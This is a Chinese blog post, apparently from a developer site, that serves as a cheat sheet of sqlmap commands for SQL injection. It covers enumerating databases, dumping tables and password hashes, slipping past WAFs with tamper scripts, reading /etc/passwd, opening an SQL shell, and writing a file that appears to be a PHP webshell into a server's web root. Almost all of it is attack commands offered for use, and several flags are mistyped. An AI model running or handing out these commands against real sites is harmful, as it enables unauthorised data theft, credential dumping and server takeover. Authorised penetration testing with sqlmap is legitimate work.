SQLMap基本使用命令

SQLMap基本使用命令

基础用法

$ sqlmap.py -u “注入地址” -v 1 --dbs   // 列举数据库
$ sqlmap.py -u “注入地址” -v 1 --current-db   // 当前数据库
$ sqlmap.py -u “注入地址” -v 1 --users    // 列数据库用户
$ sqlmap.py -u “注入地址” -v 1 --current-user  // 当前用户
$ sqlmap.py -u “注入地址” -v 1 --tables -D “数据库”   // 列举数据库的表名
$ sqlmap.py -u “注入地址” -v 1 --columns -T “表名” -D “数据库”   // 获取表的列名
$ sqlmap.py -u “注入地址” -v 1 --dump -C “字段,字段” -T “表名” -D “数据库”   // 获取表中的数据,包含列

cookie注入

$ sqlmap.py -u 注入点 --cookie "参数" --tables --level 2

post登录框注入

$ sqlmap.py -r 从文件读取数据 -p 指定的参数 --tables
$ sqlmap.py -u 登录的地址 --forms 自动判断注入
$ sqlmap.py -u 登录的地址 --data "指定参数"

绕过waf防火墙

$ sqlmap.py -u 注入点 -v 3 --dbs  --batch --tamper space2morehash.py,space2hash.py,base64encode.py,charencode.py

来吧,展示:

# 1)判断当前用户是否是dba
$ python sqlmap.py -u "url" --is-dba -v 1
# 2)--users:列出数据库管理系统用户
$ python sqlmap.py -u "url" --users -v 0
# 3)--passwords:数据库用户密码(hash)
$ python sqlmap.py -u "url" --passwords -v 0
$ python sqlmap.py -u "url" --passwords -U sa -v 0
# 4)查看用户权限
$ python sqlmap.py -u "url" --privileges -v 0
$ python sqlmap.py -u "url" --privileges -U postgres -v 0
# 5)--dbs可以利用的数据库
$ python sqlmap.py -u "url" --dbs -v 0
# 6)--tables列数据库表
$ python sqlmap.py -u "url" --tables -D "information_scheam"
# -D:指定数据名称
# 7)--columns 列出表中的列名
$ python sqlmap.py -u "url" --columns -T "user" -D "mysql" -v 1
# -T:指定表名,-D:指定库名
# 8)--dump列表中指定列的内容
$ python sqlmap.py -u "url" --dump -T "users" -D "testdb"
# -C:可以指定字段
# 指定列的范围为24
$ python sqlmap.py -u "url" --dump -T "users" -D "testdb"  --start 2 --stop 4 -v 0
# 9)--dumap-all列出所有数据库,所有表内容
$ python sqlmap.py -u "url" --dump-all -v 0
# 只列出用户自己新建的数据库和表的内容
$ python sqlmap.py -u "url" --dump-all --exclude-sysdbs -v 0
# 10)--file读取文件内容[load_file()函数]
$ python sqlmap.py -u "url" --file /etc/password
# 11)执行SQL
$ python sqlmap.py -u "url" --sql-shell
# 12)-p 指定参数
$ python sqlmap.py -u "url" -v 1 -p "id"
# -p可以指定多参数-p "cat,id"
# 13)POST提交
$ python sqlmap.py -u "url" --method POST --data "id=1"
# 14)COOKIE提交
$ python sqlmap.py -u "url" --cookie "id=1" -v 1
# cookie值可以由TamperData抓取
# 15)refer欺骗
$ python sqlmap.py -u "url" --refer "url" -v 3
# 16)使用自定义user-agent或者user-agents.txt
$ python sqlmap.py -u "url" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
$ python sqlmap.py -u "url" -v 1 -a "./txt/user-agents.txt"
# 17)使用多线程猜解
$ python sqlmap.py -u "url" -v 1 --current-user --threads 3
# 18)指定数据库,绕过SQLMAP的自动检测
$ python sqlmap.py -u "url" -v 2 --dbms "PostgreSQL"
# 19)指定操作系统绕过SQLMAP自动检测
$ python sqlmap.py -u "url" -v 2 --os "Windows"
# 20)--prefix and --postfix自定义payload
$ python sqlmap.py -u "url" -v 3 -p "id" --prefix "'" --postfix "and 'test'='test"
# 21)union注入测试
$ python sqlmap.py -u "url" --union-test -v -1
# 22)配合order by
$ python sqlmap.py -u "url" --union-test --union-tech orderby -v 1
$ 23)python sqlmap.py -u "url" -v 1 --union-use --banner
$ 24)python sqlmap.py -u "url" -v 5 --union-use --current-user
$ 25)python sqlmap.py -u "url" -v 1 --union-use --dbs

简单的注入流程

# 1.读取数据库版本,当前用户,当前数据库
$ sqlmap -u http://www.evil0x.com/ test.php?p=2 -f -b –current-user –current-db -v 1
# 2.判断当前数据库用户权限
$ sqlmap -u http://www.evil0x.com/ test.php?p=2 –privileges -U 用户名 -v 1
$ sqlmap -u http://www.evil0x.com/ test.php?p=2 –is-dba -U 用户名 -v 1
# 3.读取所有数据库用户或指定数据库用户的密码
$ sqlmap -u http://www.evil0x.com/ test.php?p=2 –users –passwords -v 2
$ sqlmap -u http://www.evil0x.com/ test.php?p=2 –passwords -U root -v 2
# 4.获取所有数据库
$ sqlmap -u http://www.evil0x.com/ test.php?p=2 –dbs -v 2
# 5.获取指定数据库中的所有表
$ sqlmap -u http://www.evil0x.com/ test.php?p=2 –tables -D mysql -v 2
# 6.获取指定数据库名中指定表的字段
$ sqlmap -u http://www.evil0x.com/ test.php?p=2 –columns -D mysql -T users -v 2
# 7.获取指定数据库名中指定表中指定字段的数据
$ sqlmap -u http://www.evil0x.com/ test.php?p=2 –dump -D mysql -T users -C “username,password” -s “sqlnmapdb.log” -v 2
# 8.file-read读取web文件
$ sqlmap -u http://www.evil0x.com/ test.php?p=2 –file-read “/etc/passwd” -v 2
# 9.file-write写入文件到web
$ sqlmap -u http://www.evil0x.com/ test.php?p=2 –file-write /localhost/mm.php –file-dest

将本地的test.txt写入到站点服务器的html目录下

$ sqlmap.py -u "http://www.nxadmin.com/sql-injection.php?id=1" –file-write /test/test.txt –file-dest /var/www/html/1.txt

--------------------------------------------------------- END -------------------------------------------------------------

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值